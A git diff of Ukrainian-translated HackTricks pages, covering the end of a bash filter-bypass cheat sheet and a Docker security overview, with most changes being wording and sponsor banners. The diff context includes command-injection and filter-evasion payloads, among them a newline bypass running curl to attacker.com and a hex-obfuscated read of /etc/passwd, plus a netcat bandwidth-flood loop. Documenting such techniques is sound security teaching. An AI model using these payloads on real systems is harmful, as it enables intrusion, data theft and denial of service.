echo "ls\x09-l" | bash
|
||||
|
||||
# New lines
|
||||
p\
|
||||
i\
|
||||
n\
|
||||
g # These 4 lines will equal to ping
|
||||
|
||||
# Undefined variables and !
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
|
@ -150,7 +150,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Часова ексфільтрація даних
|
||||
### Екстракція даних на основі часу
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
|
@ -223,7 +223,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
|||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Уникнення потенційних регулярних виразів
|
||||
### Обхід потенційних регулярних виразів
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
|
@ -280,7 +280,7 @@ ln /f*
|
|||
## If there is a file /flag.txt that will create a hard link
|
||||
## to it in the current folder
|
||||
```
|
||||
### Виконання коду з 4 символів
|
||||
### Виконання коду з 4 символами
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
|
@ -315,12 +315,12 @@ ln /f*
|
|||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Обхід обмежень на читання/виконання/Distroless
|
||||
## Обхід захисту від читання/виконання/без дистрибутиву
|
||||
|
||||
Якщо ви знаходитесь в файловій системі з захистом **тільки для читання та виконання** або навіть в контейнері distroless, все ще є способи **виконати довільні бінарні файли, навіть оболонку!:**
|
||||
Якщо ви знаходитесь в файловій системі з **захистом від читання та виконання** або навіть в контейнері без дистрибутиву, все ще є способи **виконати довільні бінарні файли, навіть оболонку!:**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
{% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Обхід Chroot та інших в'язниць
|
||||
|
@ -336,24 +336,25 @@ ln /f*
|
|||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,60 +1,61 @@
|
|||
# Безпека Docker
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих інструментів спільноти** у світі.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
|
||||
|
||||
## **Основна безпека Docker Engine**
|
||||
|
||||
**Движок Docker** використовує **Простори імен** та **Cgroups** ядра Linux для ізоляції контейнерів, надаючи базовий рівень безпеки. Додатковий захист забезпечується за допомогою **відмови в можливостях**, **Seccomp** та **SELinux/AppArmor**, підвищуючи ізоляцію контейнерів. **Плагін автентифікації** може додатково обмежувати дії користувача.
|
||||
**Двигун Docker** використовує **Простори імен** та **Cgroups** ядра Linux для ізоляції контейнерів, що надає базовий рівень безпеки. Додатковий захист забезпечується за допомогою **відмови в можливостях**, **Seccomp** та **SELinux/AppArmor**, покращуючи ізоляцію контейнерів. **Автентичний плагін** може додатково обмежити дії користувача.
|
||||
|
||||
![Безпека Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
### Безпечний доступ до Docker Engine
|
||||
|
||||
До движка Docker можна отримати доступ або локально через Unix-сокет, або віддалено за допомогою HTTP. Для віддаленого доступу важливо використовувати HTTPS та **TLS** для забезпечення конфіденційності, цілісності та аутентифікації.
|
||||
До двигуна Docker можна отримати доступ або локально через Unix-сокет, або віддалено за допомогою HTTP. Для віддаленого доступу важливо використовувати HTTPS та **TLS** для забезпечення конфіденційності, цілісності та аутентифікації.
|
||||
|
||||
Движок Docker за замовчуванням прослуховує Unix-сокет за адресою `unix:///var/run/docker.sock`. На системах Ubuntu параметри запуску Docker визначаються в `/etc/default/docker`. Щоб дозволити віддалений доступ до API та клієнта Docker, викладіть демона Docker через HTTP-сокет, додавши наступні налаштування:
|
||||
Двигун Docker за замовчуванням прослуховує Unix-сокет за адресою `unix:///var/run/docker.sock`. На системах Ubuntu параметри запуску Docker визначаються в `/etc/default/docker`. Щоб дозволити віддалений доступ до API та клієнта Docker, викладіть демона Docker через HTTP-сокет, додавши наступні налаштування:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
Однак, викладання Docker-демона через HTTP не рекомендується через проблеми з безпекою. Рекомендується застосовувати HTTPS для захисту з'єднань. Існують два основні підходи до захисту з'єднання:
|
||||
Однак, викладання демона Docker через HTTP не рекомендується через проблеми з безпекою. Рекомендується застосовувати захист з використанням HTTPS. Існують два основні підходи до захисту з'єднання:
|
||||
|
||||
1. Клієнт перевіряє ідентичність сервера.
|
||||
2. Як клієнт, так і сервер взаємно перевіряють ідентичність один одного.
|
||||
2. Як клієнт, так і сервер взаємно перевіряють ідентичність одне одного.
|
||||
|
||||
Для підтвердження ідентичності сервера використовуються сертифікати. Для докладних прикладів обох методів див. [**цей посібник**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
|
||||
### Безпека образів контейнерів
|
||||
|
||||
Зображення контейнерів можна зберігати як у приватних, так і у публічних репозиторіях. Docker пропонує кілька варіантів зберігання зображень контейнерів:
|
||||
Зображення контейнерів можуть зберігатися як у приватних, так і у публічних репозиторіях. Docker пропонує кілька варіантів зберігання зображень контейнерів:
|
||||
|
||||
* [**Docker Hub**](https://hub.docker.com): Публічний реєстр сервіс від Docker.
|
||||
* [**Docker Registry**](https://github.com/docker/distribution): Проект з відкритим кодом, який дозволяє користувачам розміщувати власний реєстр.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Комерційний реєстр Docker, який має аутентифікацію користувачів на основі ролей та інтеграцію з каталоговими службами LDAP.
|
||||
* [**Docker Registry**](https://github.com/docker/distribution): Проект з відкритим кодом, який дозволяє користувачам розміщувати свій власний реєстр.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Комерційний реєстр Docker, який пропонує аутентифікацію користувачів на основі ролей та інтеграцію з каталоговими службами LDAP.
|
||||
|
||||
### Сканування зображень
|
||||
|
||||
Контейнери можуть мати **вразливості безпеки** через базове зображення або через програмне забезпечення, встановлене поверх базового зображення. Docker працює над проектом під назвою **Nautilus**, який сканує контейнери на предмет безпеки та перелічує вразливості. Nautilus працює шляхом порівняння кожного шару зображення контейнера з репозиторієм вразливостей для ідентифікації дірок у безпеці.
|
||||
Контейнери можуть мати **вразливості безпеки** через базове зображення або через програмне забезпечення, встановлене поверх базового зображення. Docker працює над проектом під назвою **Nautilus**, який сканує контейнери на предмет безпеки та перелічує вразливості. Nautilus працює шляхом порівняння кожного шару зображення контейнера з репозиторієм вразливостей для ідентифікації дірок в безпеці.
|
||||
|
||||
Для отримання більш докладної [**інформації прочитайте це**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
|
@ -92,11 +93,11 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
|
||||
Підпис Docker image забезпечує безпеку та цілісність зображень, що використовуються в контейнерах. Ось стисле пояснення:
|
||||
|
||||
* **Docker Content Trust** використовує проект Notary, заснований на The Update Framework (TUF), для управління підписом зображення. Для отримання додаткової інформації див. [Notary](https://github.com/docker/notary) та [TUF](https://theupdateframework.github.io).
|
||||
* Щоб активувати довіру до вмісту Docker, встановіть `export DOCKER_CONTENT_TRUST=1`. Ця функція вимкнена за замовчуванням у версії Docker 1.10 та пізніше.
|
||||
* **Довіра вмісту Docker** використовує проект Notary, заснований на The Update Framework (TUF), для управління підписом зображення. Для отримання додаткової інформації див. [Notary](https://github.com/docker/notary) та [TUF](https://theupdateframework.github.io).
|
||||
* Щоб активувати довіру вмісту Docker, встановіть `export DOCKER_CONTENT_TRUST=1`. Ця функція за замовчуванням вимкнена в Docker версії 1.10 та пізніших.
|
||||
* З цією функцією активованою, можна завантажувати лише підписані зображення. Перший пуш зображення вимагає встановлення паролів для кореневого та тегового ключів, причому Docker також підтримує Yubikey для підвищеної безпеки. Додаткові деталі можна знайти [тут](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
* Спроба витягнути непідписане зображення з активованою довірою до вмісту призводить до помилки "No trust data for latest".
|
||||
* Для пушів зображень після першого, Docker запитує пароль для ключа репозиторію для підпису зображення.
|
||||
* Спроба витягнути непідписане зображення з активованою довірою вмісту призводить до помилки "No trust data for latest".
|
||||
* Під час пушу зображення після першого, Docker запитує пароль для ключа репозиторію для підпису зображення.
|
||||
|
||||
Для резервного копіювання ваших приватних ключів використовуйте команду:
|
||||
```bash
|
||||
|
@ -106,39 +107,39 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш розвинутих інструментах спільноти у світі.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
|
||||
|
||||
## Функції безпеки контейнерів
|
||||
## Функції Безпеки Контейнерів
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Огляд функцій безпеки контейнерів</summary>
|
||||
<summary>Огляд Функцій Безпеки Контейнерів</summary>
|
||||
|
||||
#### Основні функції ізоляції головного процесу
|
||||
**Основні функції ізоляції процесів**
|
||||
|
||||
У контейнеризованих середовищах ізоляція проектів та їх процесів є надзвичайно важливою для забезпечення безпеки та управління ресурсами. Ось спрощене пояснення ключових концепцій:
|
||||
|
||||
**Простори імен (Namespaces)**
|
||||
|
||||
* **Мета**: Забезпечення ізоляції ресурсів, таких як процеси, мережа та файлові системи. Особливо в Docker, простори імен утримують процеси контейнера відокремлено від хоста та інших контейнерів.
|
||||
* **Використання `unshare`**: Команда `unshare` (або відповідний системний виклик) використовується для створення нових просторів імен, надаючи додатковий рівень ізоляції. Однак, хоча Kubernetes не блокує це за замовчуванням, Docker робить це.
|
||||
* **Обмеження**: Створення нових просторів імен не дозволяє процесу повертатися до просторів імен за замовчуванням хоста. Для проникнення в простори імен хоста зазвичай потрібен доступ до каталогу хоста `/proc`, використовуючи `nsenter` для входу.
|
||||
* **Використання `unshare`**: Команда `unshare` (або базовий системний виклик) використовується для створення нових просторів імен, що забезпечує додатковий рівень ізоляції. Однак, хоча Kubernetes не блокує це за замовчуванням, Docker робить це.
|
||||
* **Обмеження**: Створення нових просторів імен не дозволяє процесу повертатися до просторів імен за замовчуванням хоста. Для проникнення в простори імен хоста зазвичай потрібен доступ до каталогу `/proc` хоста, використовуючи `nsenter` для входу.
|
||||
|
||||
**Групи керування (CGroups)**
|
||||
|
||||
* **Функція**: В основному використовується для розподілу ресурсів серед процесів.
|
||||
* **Аспект безпеки**: Самі CGroups не пропонують безпекової ізоляції, за винятком функції `release_agent`, яка, якщо неправильно налаштована, може бути використана для несанкціонованого доступу.
|
||||
* **Аспект безпеки**: Сами CGroups не пропонують безпекової ізоляції, за винятком функції `release_agent`, яка, якщо неправильно налаштована, може бути використана для несанкціонованого доступу.
|
||||
|
||||
**Скидання можливостей (Capability Drop)**
|
||||
|
||||
* **Важливість**: Це важлива функція безпеки для ізоляції процесів.
|
||||
* **Функціональність**: Вона обмежує дії, які може виконати кореневий процес, відкидаючи певні можливості. Навіть якщо процес працює з привілеями кореневого користувача, відсутність необхідних можливостей перешкоджає виконанню привілейованих дій, оскільки системні виклики будуть невдалими через недостатні дозволи.
|
||||
* **Функціональність**: Вона обмежує дії, які може виконувати кореневий процес, відкидаючи певні можливості. Навіть якщо процес працює з привілеями користувача root, відсутність необхідних можливостей перешкоджає виконанню привілейованих дій, оскільки системні виклики завершаться з помилкою через недостатні права.
|
||||
|
||||
Ось **залишкові можливості** після скидання інших процесів:
|
||||
|
||||
|
@ -146,22 +147,24 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
|||
```
|
||||
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**Seccomp**
|
||||
|
||||
Включено за замовчуванням в Docker. Це допомагає **ще більше обмежити syscalls**, які може викликати процес.\
|
||||
Він увімкнений за замовчуванням в Docker. Це допомагає **ще більше обмежити syscalls**, які може викликати процес.\
|
||||
**Профіль за замовчуванням Docker Seccomp** можна знайти за посиланням [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
|
||||
**AppArmor**
|
||||
|
||||
У Docker є шаблон, який можна активувати: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
Це дозволить обмежити можливості, syscalls, доступ до файлів та папок...
|
||||
Це дозволить зменшити можливості, syscalls, доступ до файлів та папок...
|
||||
|
||||
</details>
|
||||
|
||||
### Простори імен
|
||||
|
||||
**Простори імен** - це функція ядра Linux, яка **розділяє ресурси ядра** таким чином, що один набір **процесів бачить** один набір **ресурсів**, тоді як **інший** набір **процесів** бачить **інший** набір ресурсів. Ця функція працює за рахунок того, що для набору ресурсів та процесів використовується той самий простір імен, але ці простори імен посилаються на різні ресурси. Ресурси можуть існувати в кількох просторах.
|
||||
**Простори імен** - це функція ядра Linux, яка **розділяє ресурси ядра** так, що один набір **процесів бачить** один набір **ресурсів**, тоді як **інший** набір **процесів** бачить **інший** набір ресурсів. Ця функція працює за допомогою одного і того ж простору імен для набору ресурсів та процесів, але ці простори імен посилаються на різні ресурси. Ресурси можуть існувати в кількох просторах.
|
||||
|
||||
Docker використовує наступні простори імен ядра Linux для досягнення ізоляції контейнерів:
|
||||
|
||||
|
@ -179,12 +182,12 @@ Docker використовує наступні простори імен яд
|
|||
|
||||
### cgroups
|
||||
|
||||
Функція ядра Linux **cgroups** надає можливість **обмежувати ресурси, такі як центральний процесор, пам'ять, введення/виведення, мережева пропускна здатність** серед набору процесів. Docker дозволяє створювати контейнери з використанням функції cgroup, яка дозволяє контролювати ресурси для конкретного контейнера.\
|
||||
Нижче наведено контейнер, створений з обмеженням пам'яті користувача на рівні 500м, обмеження пам'яті ядра на рівні 50м, частка центрального процесора на рівні 512, blkioweight на рівні 400. Частка центрального процесора - це відношення, яке контролює використання центрального процесора контейнером. Вона має значення за замовчуванням 1024 та діапазон від 0 до 1024. Якщо у трьох контейнерів однакова частка центрального процесора 1024, кожен контейнер може використовувати до 33% центрального процесора у випадку конфлікту ресурсів центрального процесора. blkio-weight - це відношення, яке контролює введення/виведення контейнера. Вона має значення за замовчуванням 500 та діапазон від 10 до 1000.
|
||||
Функція ядра Linux **cgroups** надає можливість **обмежувати ресурси, такі як центральний процесор, пам'ять, введення/виведення, мережева пропускна здатність серед** набору процесів. Docker дозволяє створювати контейнери з використанням функції cgroup, яка дозволяє контролювати ресурси для конкретного контейнера.\
|
||||
Нижче наведено контейнер, створений з обмеженням пам'яті користувача на рівні 500 мб, обмеження пам'яті ядра на рівні 50 мб, частка центрального процесора на рівні 512, blkioweight на рівні 400. Частка центрального процесора - це відношення, яке контролює використання центрального процесора контейнером. Вона має значення за замовчуванням 1024 та діапазон від 0 до 1024. Якщо у трьох контейнерів однакова частка центрального процесора 1024, кожен контейнер може використовувати до 33% центрального процесора в разі конфлікту ресурсів центрального процесора. blkio-weight - це відношення, яке контролює введення/виведення контейнера. Вона має значення за замовчуванням 500 та діапазон від 10 до 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
Для отримання cgroup контейнера ви можете виконати:
|
||||
Для отримання cgroup контейнера можна виконати:
|
||||
```bash
|
||||
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
|
||||
ps -ef | grep 1234 #Get info about the sleep process
|
||||
|
@ -200,7 +203,7 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
|
|||
|
||||
Права дозволяють **досягти більш точного контролю над правами, які можуть бути дозволені** користувачеві root. Docker використовує функцію можливостей ядра Linux для **обмеження операцій, які можуть бути виконані всередині контейнера** незалежно від типу користувача.
|
||||
|
||||
Під час запуску контейнера Docker **процес відмовляється від чутливих можливостей, які процес може використовувати для виходу з ізоляції**. Це спроба забезпечити, що процес не зможе виконувати чутливі дії та виходити:
|
||||
Під час запуску контейнера Docker **процес відмовляється від чутливих можливостей, які процес міг би використовувати для виходу з ізоляції**. Це спроба забезпечити, що процес не зможе виконувати чутливі дії та виходити:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -226,7 +229,7 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
|
|||
|
||||
* **Система міток**: SELinux присвоює унікальну мітку кожному процесу та об'єкту файлової системи.
|
||||
* **Застосування політики**: Вона застосовує політику безпеки, яка визначає, які дії може виконувати мітка процесу щодо інших міток у системі.
|
||||
* **Мітки процесів контейнера**: Коли двигуни контейнерів ініціюють процеси контейнерів, їм зазвичай призначається обмежена мітка SELinux, зазвичай `container_t`.
|
||||
* **Мітки процесів контейнера**: Коли контейнерні двигуни запускають процеси контейнера, їм зазвичай призначається обмежена мітка SELinux, зазвичай `container_t`.
|
||||
* **Мітки файлів у контейнерах**: Файли всередині контейнера зазвичай мають мітку `container_file_t`.
|
||||
* **Правила політики**: Політика SELinux в основному забезпечує, що процеси з міткою `container_t` можуть взаємодіяти (читати, записувати, виконувати) лише з файлами, які мають мітку `container_file_t`.
|
||||
|
||||
|
@ -238,10 +241,10 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
|
|||
|
||||
### AuthZ & AuthN
|
||||
|
||||
У Docker авторизаційний плагін відіграє важливу роль у забезпеченні безпеки, вирішуючи, чи дозволяти чи блокувати запити до демона Docker. Це рішення приймається шляхом аналізу двох ключових контекстів:
|
||||
У Docker авторизаційний плагін відіграє важливу роль у забезпеченні безпеки, вирішуючи, чи слід дозволяти чи блокувати запити до демона Docker. Це рішення приймається шляхом аналізу двох ключових контекстів:
|
||||
|
||||
* **Контекст аутентифікації**: Це включає вичерпну інформацію про користувача, таку як хто вони і як вони аутентифікували себе.
|
||||
* **Контекст команди**: Це включає всю відповідну інформацію, пов'язану з запитом, який робиться.
|
||||
* **Контекст команди**: Це включає всі відповідні дані, пов'язані з запитом, який робиться.
|
||||
|
||||
Ці контексти допомагають забезпечити, що обробляються лише законні запити від аутентифікованих користувачів, підвищуючи безпеку операцій Docker.
|
||||
|
||||
|
@ -261,11 +264,11 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
|
|||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
* Відмова в обслуговуванні за допомогою використання пропускної здатності
|
||||
* Витрата пропускної здатності
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
## Цікаві прапорці Docker
|
||||
## Цікаві Прапорці Docker
|
||||
|
||||
### Прапорець --privileged
|
||||
|
||||
|
@ -279,9 +282,9 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
Якщо ви запускаєте контейнер, де зловмисник здобуває доступ як користувач з низькими привілеями. Якщо у вас є **неправильно сконфігурований suid бінарник**, зловмисник може зловживати ним і **підвищувати привілеї всередині** контейнера. Це може дозволити йому втекти з нього.
|
||||
Якщо ви запускаєте контейнер, де зловмисник здобуває доступ як користувач з низькими привілеями. Якщо у вас є **неправильно налаштований suid бінарний файл**, зловмисник може зловживати ним і **підвищувати привілеї всередині** контейнера. Це може дозволити йому втекти з нього.
|
||||
|
||||
Запуск контейнера з увімкненою опцією **`no-new-privileges`** **запобігне цьому виду підвищення привілеїв**.
|
||||
Запуск контейнера з увімкненою опцією **`no-new-privileges`** **запобігатиме цьому виду підвищення привілеїв**.
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
|
@ -308,7 +311,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
|||
|
||||
Важливо уникати вбудовування секретів безпосередньо в образи Docker або використання змінних середовища, оскільки ці методи викладають вашу чутливу інформацію будь-кому, хто має доступ до контейнера через команди, такі як `docker inspect` або `exec`.
|
||||
|
||||
**Томи Docker** є безпечнішою альтернативою, рекомендованою для доступу до чутливої інформації. Їх можна використовувати як тимчасову файлову систему в пам'яті, що зменшує ризики, пов'язані з `docker inspect` та журналюванням. Однак користувачі з правами root та ті, у яких є доступ до `exec` до контейнера, все ще можуть отримати доступ до секретів.
|
||||
